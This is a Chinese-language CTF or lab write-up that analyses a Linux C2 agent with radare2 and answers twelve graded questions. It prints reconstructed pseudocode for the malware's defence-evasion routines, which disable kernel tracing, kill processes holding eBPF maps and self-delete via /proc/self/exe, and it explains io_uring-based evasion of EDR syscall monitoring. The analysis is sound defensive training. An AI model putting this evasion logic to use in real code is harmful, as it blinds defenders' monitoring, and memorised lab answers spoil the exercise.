# 靶场背景

你是蓝队 SOC 分析师,在 Linux 服务器 /var/tmp 发现了一个可疑二进制文件,它正尝试建立外连。你要对这个二进制做静态分析,理解它的功能、提取入侵指标(IoC)、分析攻击者的基础设施。

# 准备工作 — 解压与基础分析

动手解题前,先把环境准备好。SSH 连接到目标 Kali 机器,解压文件:

cd /home/kali/sherlocks/phantomring
unzip -P hacktheblue PhantomRing.zip
cd phantom_ring
ls -la

解压得到一个名为 agent 的可执行文件。先查看它的基础信息:

file agent

输出:

agent: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=1f617f2ea259a7ec724d7bbc01627982dc2f0495,
for GNU/Linux 3.2.0, not stripped

几个关键信息:

  • ELF 64-bit — Linux 上的可执行文件
  • dynamically linked — 依赖系统的动态链接库
  • not stripped — 符号表还在,函数名没有删掉,这给分析帮了大忙

接下来我们也会用到 radare2 作为反汇编工具,它是分析未剥离(not stripped)ELF 文件的神器。


# Task 1 — SHA256 哈希

Q:What is the SHA256 hash of the malicious binary?

A: 2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5

详细过程:

这一步是所有取证分析的起点。SHA256 哈希值是文件的唯一 "指纹",你可以在后续的威胁情报平台(如 VirusTotal)搜索这个哈希来确认文件是否已知恶意。计算非常简单:

sha256sum agent
2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5  agent

把这个哈希值记下来,后面的有些题目也会用到它。


# Task 2 — C2 通信的硬编码 IP

Q:What is the IP address hardcoded in the binary for C2 communication?

A: 192.168.56.1

详细过程:

静态分析的第一步永远是 strings —— 这个命令能从二进制文件中提取所有可读的 ASCII 字符串:

strings agent

输出内容很多,但稍微扫一眼就能看到一个明显的 IP 地址:

192.168.56.1

这是恶意软件作者硬编码在代码里的 C2(Command & Control)服务器地址。为了确认它确实被用作 C2 地址(而不是某个无关的字符串),我们用 radare2 看看代码中是怎么引用它的:

r2 -e bin.relocs.apply=true -e bin.cache=true agent

进入后先执行自动分析:

[0x00001000]> aaa

然后用 iz 命令列出 .rodata 段的所有字符串,过滤 IP:

[0x00001000]> iz~192
0x0000551b 12 12 192.168.56.1

接下来跳到 main 函数中引用这个字符串的地址附近,查看上下文:

[0x00001000]> s 0x421f ; pd 5
0x0000421f  48 8d 05 f5 12 00 00   lea rax, str.192.168.56.1
0x00004226  48 89 c6               mov rsi, rax
0x00004229  bf 02 00 00 00         mov edi, 2            ; AF_INET
0x0000422e  e8 cd d1 ff ff         call sym.imp.inet_pton

这段汇编做了什么?

  1. lea rax, str.192.168.56.1 — 把字符串地址加载到 rax 寄存器
  2. mov rsi, rax — 将字符串作为 inet_pton 的第二个参数
  3. mov edi, 2 — 第一个参数为 2,即 AF_INET (IPv4)
  4. call inet_pton — 将字符串转换为二进制格式的 IP 地址

所以 192.168.56.1 就是这个恶意 agent 要连接的 C2 服务器地址。


# Task 3 — C2 端口

Q:What port does the agent connect to on the C2 server?

A: 4445

详细过程:

找到了 IP,下一步就是找到它用哪个端口连接。在刚才查看的 main 函数中,调用 inet_pton 之前,还有一段代码:

[0x00001000]> s 0x4200 ; pd 10
0x00004200  bf 5d 11 00 00      mov edi, 0x115d
0x00004205  e8 46 d1 ff ff      call sym.imp.htons
0x0000420a  66 89 85 02 ff ff ff mov word [rbp-0x100fe], ax

逐条解读:

  • mov edi, 0x115d — 把数值 0x115D 放入 edi 寄存器,作为 htons 函数的参数
  • call htons — 调用 host to network short 函数,将本机字节序转为网络字节序(大端序)
  • mov word [rbp-0x100fe], ax — 把转换后的结果写入栈上的 sockaddr_in 结构体

0x115D 是多少?转十进制: 1×16³ + 1×16² + 5×16 + 13 = 4096 + 256 + 80 + 13 = **4445**

继续往下看,这个地址结构体后面被传给 io_uring_prep_connect ,用于发起连接:

0x000042a8  b9 10 00 00 00         mov ecx, 0x10     ; sizeof(sockaddr_in)
0x000042b0  e8 a3 d4 ff ff         call sym.io_uring_prep_connect

所以完整的 C2 地址就是: 192.168.56.1:4445


# Task 4 — 断线重连等待时间

Q:How many seconds does the agent wait before attempting to reconnect after a failed connection?

A: 120

详细过程:

在网络不稳定的环境中,C2 agent 如果连不上服务器,不能直接退出 —— 它会等待一段时间后重试。这个等待时间硬编码在代码里。

从 main 函数往下翻,连接失败的错误处理代码后面紧跟着一个 sleep 调用:

[0x00001000]> s 0x4340 ; pd 10
0x00004342  bf 78 00 00 00      mov edi, 0x78      ; 参数 = 120
0x00004347  e8 94 d1 ff ff      call sym.imp.sleep

mov edi, 0x78 — 把 0x78 存入 edi 作为 sleep 函数的参数。 0x78 换算成十进制:

7 × 16 + 8 = 120

再往下翻几行,发现接收循环断开后还有第二个一模一样的 sleep:

0x000043e7  bf 78 00 00 00      mov edi, 0x78
0x000043ec  e8 ef d0 ff ff      call sym.imp.sleep

两处都是 120 秒。也就是说这个 agent 每次连接失败后都会等待整整 2 分钟再尝试重连。


# Task 5 — 支持的命令数量

Q:How many different commands does the agent support? (excluding invalid commands)

A: 11

详细过程:

恶意 agent 通常支持一组远程命令来让攻击者控制受害机器。我们来看看这个 agent 支持多少种命令。

先通过 radare2 列出所有函数,过滤出命令处理函数:

[0x00001000]> afl~cmd
0x00002635   17    891 sym.cmd_recv
0x00001e49   15    602 sym.cmd_users
0x000036ea    1    184 sym.cmd_exit
0x000037a2   40   1762 sym.cmd_killbpf
0x000032d8   16    622 sym.cmd_privesc
0x000023da   14    603 sym.cmd_get
0x00002cfc   42   1500 sym.cmd_kick
0x00003546    5    420 sym.cmd_selfdestruct
0x00003e84   27    735 sym.process_cmd    <-- 这个是命令分发器
0x000020a3   14    823 sym.cmd_ss
0x000029b0    5    214 sym.cmd_me
0x00002a86   19    630 sym.cmd_ps

process_cmd命令分发器(dispatcher),它负责接收字符串、跟命令列表做比较、然后调用对应的处理函数。所以去掉它之后,有 11 个 cmd_* 函数。


# Task 6 — 规避 EDR 的内核接口

Q:What Linux kernel interface does this malware abuse to evade EDR syscall monitoring?

A: io_uring

详细过程:

这是这道题目里最有趣的技术点。在 strings 的输出中,我们看到了:

io_uring_queue_init
io_uring_get_sqe
io_uring_submit
io_uring_wait_cqe

用 radare2 确认所有以 io_uring 相关的函数:

[0x00003e84]> afl~io_uring
0x00001340    1     11 sym.imp.io_uring_submit
0x000013c0    1     11 sym.imp.io_uring_queue_exit
0x00001420    1     11 sym.imp.io_uring_queue_init
0x00001460    1     11 sym.imp.__io_uring_get_cqe
0x00001470    1     11 sym.imp.io_uring_get_sqe
0x00001609    5    108 sym.io_uring_cq_advance
0x00001675    3     43 sym.io_uring_cqe_seen
0x000016a0    1    184 sym.io_uring_prep_rw
0x00001758    1     61 sym.io_uring_prep_connect
0x00001795    1     75 sym.io_uring_prep_openat
0x000017e0    1     55 sym.io_uring_prep_close
0x00001817    1     66 sym.io_uring_prep_read
0x00001859    1     66 sym.io_uring_prep_write
0x0000189b    1     80 sym.io_uring_prep_statx
0x000018eb    1     79 sym.io_uring_prep_send
0x0000193a    1     79 sym.io_uring_prep_recv
0x00001989    1     71 sym.io_uring_prep_unlinkat
0x000019d0    1     53 sym.io_uring_wait_cqe_nr
0x00001a05    1     42 sym.io_uring_wait_cqe

所有 I/O 操作 —— 连接、收发数据、打开文件、写入、关闭、删除 —— 全都是通过 io_uring 完成的。这是一个很重要的安全知识点:

io_uring 为什么能规避 EDR?

传统的 Linux I/O 操作(read、write、connect、open 等)都是通过 syscall 指令触发的。当你的程序调用 read(fd, buf, size) 时,glibc 封装库会执行类似这样的指令:

mov eax, 0    ; syscall number for read (0)
syscall       ; 触发系统调用

而 EDR(Endpoint Detection and Response)安全软件通常通过以下方式监控系统调用:

  • hook sys_call_table —— 拦截所有 syscall 入口
  • 使用 kprobes /tracepoints —— 在特定 syscall 处设置监控点

io_uring 是 Linux 5.1+ 引入的一种异步 I/O 框架。它使用 ** 内核与用户空间共享的环形缓冲区(ring buffer)** 来提交和完成 I/O 请求:

  1. 应用程序在用户空间的 SQ(Submission Queue)中填入要执行的操作
  2. 内核从 SQ 中取出操作并执行
  3. 完成结果写入 CQ(Completion Queue)
  4. 应用程序从 CQ 中读取结果

整个过程中,只有 io_uring_enter (或 io_uring_setup 后的 mmap )涉及系统调用,具体的 I/O 操作不再经过传统的 syscall 路径。这就绕过了基于 syscall hook 的 EDR 监控。


# Task 7 — 枚举登录用户的文件

Q:What file does the agent read to enumerate logged-in users?

A: /var/run/utmp

详细过程:

先看看 cmd_users 函数做了什么:

[0x00001000]> s sym.cmd_users
[0x00001e49]> pdc

伪代码中可以看到它打开了一个文件:

fp = fopen("/var/run/utmp", "r");
if (fp == NULL) {
    perror("Error reading /var/run/utmp");
    return;
}
while (fscanf(fp, ...)) {
    printf("%-8s %-8s", user, tty);
}

** /var/run/utmp (现在通常在 /var/run/utmp ,有些发行版用 /var/log/wtmp )** 是 Linux 系统上记录当前登录用户信息的二进制文件。它可以告诉你:

  • 谁当前登录了系统
  • 他们从哪个 tty/SSH 登录
  • 登录时间

攻击者用这个命令来了解还有哪些用户在机器上,然后可以用 kick 命令把他们踢掉。

从 strings 中也验证了相关的字符串:

/var/run/utmp
Error reading /var/run/utmp
Logged users:
%-8s %-8s

# Task 8 — SUID 提权扫描目录

Q:What directory does the agent scan when searching for SUID binaries for privilege escalation?

A: /usr/bin

详细过程:

privesc 命令的功能是扫描系统上可以用于提权的 SUID 二进制文件。来看看 cmd_privesc 的实现:

[0x00001000]> s sym.cmd_privesc
[0x000032d8]> pdc

伪代码逻辑如下:

DIR *dp = opendir("/usr/bin");
if (dp == NULL) {
    send("Failed to open /usr/bin");
    return;
}
while (dirent *de = readdir(dp)) {
    char path[512];
    snprintf(path, sizeof(path), "/usr/bin/%s", de->d_name);
    
    struct statx st;
    io_uring_prep_statx(ring, AT_FDCWD, path, 0, STATX_MODE, &st);
    io_uring_submit(ring);
    io_uring_wait_cqe(ring, &cqe);
    
    if (st.stx_mode & S_ISUID) {          // 检查 SUID 位 (0x800)
        char buf[8192];
        snprintf(buf, sizeof(buf), "%s\n", path);
        send_all(ring, fd, buf, len);
    }
}
closedir(dp);

关于 SUID 的科普:

在 Linux 中,文件权限除了常用的 rwx(读、写、执行)之外,还有三个特殊权限位:SUID、SGID 和 Sticky Bit。

  • SUID(Set User ID, 0x800 )意味着:当用户执行这个文件时,进程的有效 UID 会变成文件所有者的 UID
  • 如果一个属于 root 的二进制文件设置了 SUID 位,那么普通用户执行它时就拥有了 root 权限。
  • 常见的 SUID 程序有 passwdsudosu 等。

恶意 agent 通过扫描 /usr/bin 下所有 SUID 二进制,把结果返回给 C2 服务器上的攻击者,攻击者就可以利用这些程序来提权(Privilege Escalation)

注意 opendir 打开的是 "/usr/bin" ,这是题目要的答案。


# Task 9 — 识别 eBPF 安全工具的搜索字符串

Q:What string does the agent search for in /proc/[pid]/maps to identify security tools using eBPF?

A: anon_inode:bpf-map

详细过程:

cmd_killbpf 是这道题目里最复杂的一个函数,它专门用来检测并杀死使用 eBPF 的安全工具。它的逻辑分为三个阶段:

  1. 禁用内核 tracing
  2. 删除 /sys/fs/bpf 下的 eBPF 文件
  3. 遍历进程杀死使用 BPF 的进程

我们关注第三阶段,反汇编 cmd_killbpf

[0x00001000]> s sym.cmd_killbpf
[0x000037a2]> pdc

简化后的逻辑:

opendir("/proc");
while (de = readdir(proc_dir)) {
    if (isdigit(de->d_name[0])) {              // 只处理数字开头的目录名(就是 PID)
        char maps_path[256];
        snprintf(maps_path, sizeof(maps_path), "/proc/%s/maps", de->d_name);
        char buf[0x4000];
        read_file_uring(ring, maps_path, buf, 0x4000);  // 读取 /proc/PID/maps
        if (strstr(buf, "anon_inode:bpf-map")) {        // 搜索特征字符串
            pid = atoi(de->d_name);
            kill(pid, SIGKILL);                         // 发送信号 9
            ...
        }
    }
}

什么是 bpf-map?

当进程使用 eBPF 时,它需要创建 BPF map(一种键值存储结构,用于在 eBPF 程序和用户空间之间交换数据)。这些 map 会以文件描述符的形式出现在进程的内存映射中,在 /proc/PID/maps 中显示为 anon_inode:bpf-map

为什么攻击者要杀它们?

安全软件(如 Falco、Cilium、Tetragon、安全代理等)通常使用 eBPF 来监控系统调用和网络活动。如果攻击者能杀掉这些进程,他们就可以在不受监控的情况下执行恶意操作。攻击者通过:

  1. 读取每个进程的 /proc/PID/maps
  2. 检查是否包含 anon_inode:bpf-map
  3. 如果找到就发 SIGKILL 杀死该进程

实现了一个简单粗暴的反检测机制。注意 SIGKILL(信号 9) 是无法被捕获或忽略的 —— 直接干掉目标进程。


# Task 10 — 第一个被禁用的 tracing 文件

Q:What is the full path of the first tracing file the agent attempts to disable?

A: /sys/kernel/debug/tracing/tracing_on

详细过程:

还是在 cmd_killbpf 函数中,第一阶段操作的是内核 tracing 文件。来看它定义的三个路径:

[0x000037c3]  lea rax, str._sys_kernel_debug_tracing_tracing_on     ; [0]
              lea rax, str._sys_kernel_debug_tracing_set_event       ; [1]
              lea rax, str._sys_kernel_debug_tracing_current_tracer  ; [2]

这三个字符串在 .rodata 段中对应的位置:

0x00005330 → "/sys/kernel/debug/tracing/tracing_on"
0x00005358 → "/sys/kernel/debug/tracing/set_event"
0x00005380 → "/sys/kernel/debug/tracing/current_tracer"

代码通过一个循环,从索引 0 开始对每个文件先 open (使用 io_uring_prep_openat ),然后 write 一个 "0" 进去,最后 close

const char *tracing_files[] = {
    "/sys/kernel/debug/tracing/tracing_on",     // [0] ← 第一个
    "/sys/kernel/debug/tracing/set_event",       // [1]
    "/sys/kernel/debug/tracing/current_tracer",  // [2]
};
for (int i = 0; i < 3; i++) {
    fd = io_uring_open(tracing_files[i], O_WRONLY);
    io_uring_write(fd, "0", 1);    // 写入 "0" 禁用
    io_uring_close(fd);
}

为什么是索引 0 的那个?因为循环从 i=0 开始,所以第一个被操作的是 tracing_on

这三个文件的作用分别是:

  • tracing_on — 写入 0 停止内核的所有 ftrace 跟踪(主开关)
  • set_event — 写入空内容清空跟踪事件列表
  • current_tracer — 将当前跟踪器设为 nop (无跟踪)

简单说,攻击者先把 "监控摄像头" 关掉,然后再做坏事。


# Task 11 — 自毁前读取自身路径的 procfs

Q:What procfs path does the agent read to find its own executable location before self-destruction?

A: /proc/self/exe

详细过程:

sdestruct 命令是 agent 的 "自毁按钮"。执行后,agent 会删除自己的二进制文件然后退出。但在删除之前,它需要先知道自己在磁盘上存在哪个位置。

来看 cmd_selfdestruct 的实现:

[0x00001000]> s sym.cmd_selfdestruct
[0x00003546]> pdc
cmd_selfdestruct(ring_fd, socket_fd) {
    char msg[] = "Agent will self-destruct\n";
    send_all(ring_fd, socket_fd, msg, strlen(msg));
    
    char buf[512];
    ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
    if (len <= 0) return;
    buf[len] = '\0';
    // 现在 buf 中存的是 agent 二进制文件的完整路径
    // 比如 /home/kali/phantom_ring/agent
    
    // 使用 io_uring 删除自身
    sqe = io_uring_get_sqe(ring);
    io_uring_prep_unlinkat(sqe, AT_FDCWD, buf, 0);
    io_uring_submit(ring);
    io_uring_wait_cqe(ring, &cqe);
    
    puts("Agent disconnecting and exiting");
    exit(0);
}

/proc/self/exe 是 Linux 内核提供的一个特别的符号链接。每个进程都可以通过这个路径读取到自身可执行文件的完整路径。例如:

  • 如果程序是从 /usr/bin/python3 启动的,读到的就是 /usr/bin/python3
  • 如果程序是从 /home/user/agent 启动的,读到的就是 /home/user/agent

readlink("/proc/self/exe", buf, size) 会把符号链接的目标路径写入 buf。拿到路径后,agent 通过 io_uring_prep_unlinkat (相当于 unlink() 系统调用)删除自身二进制文件,实现 "人间蒸发"。

思考题: 为什么 agent 要删除自身?因为 agent 先杀了安全工具(killbpf),再自毁,就可以做到 "打完就跑,不留痕迹"。


# Task 12 — 触发自毁删除的命令字符串

Q:What command string is compared by the agent to trigger deletion of its own binary?

A: sdestruct

详细过程:

回到 process_cmd 命令分发函数。注意观察所有命令用的比较方式:

[0x00001000]> s sym.process_cmd
[0x00003e84]> pdc

仔细看每一行比较指令:

if (strncmp(input, "get ", 4) == 0)       //strncmp — 比较前 4 个字符
    ...
else if (strncmp(input, "killbpf", 7) == 0) // strncmp
    ...
else if (strcmp(input, "sdestruct") == 0)    //strcmp — 要求完全相等!
    cmd_selfdestruct(...);
else if (strncmp(input, "exit", 4) == 0)    // strncmp
    ...

在看到 sdestruct 的代码时,注意特别之处:

0x000040a4  48 8d 05 ...   lea rax, str.sdestruct    ; 0x54cc
0x000040ab  48 89 c6       mov rsi, rax
0x000040ae  48 8b 45 d8    mov rax, qword [s1]        ; 用户输入
0x000040b2  48 89 c7       mov rdi, rax
0x000040b5  e8 ...         call sym.imp.strcmp        ; 精确比较!

strcmp vs strncmp 的区别:

  • strncmp(s1, s2, n) — 只比较前 n 个字符。比如 strncmp("get_anything", "get ", 4) 会匹配成功。
  • strcmp(s1, s2) — 必须两个字符串完全相等,包括长度。

大多数命令使用 strncmp (更宽松),但 sdestructnetstat 使用 strcmp (更严格)。对于 sdestruct 来说这是一件很合理的事情:你肯定不希望某个误输入触发自毁,所以要求精确匹配。

一旦匹配成功,就会调用 cmd_selfdestruct 函数,执行我们在 Task 11 中看到的自毁流程。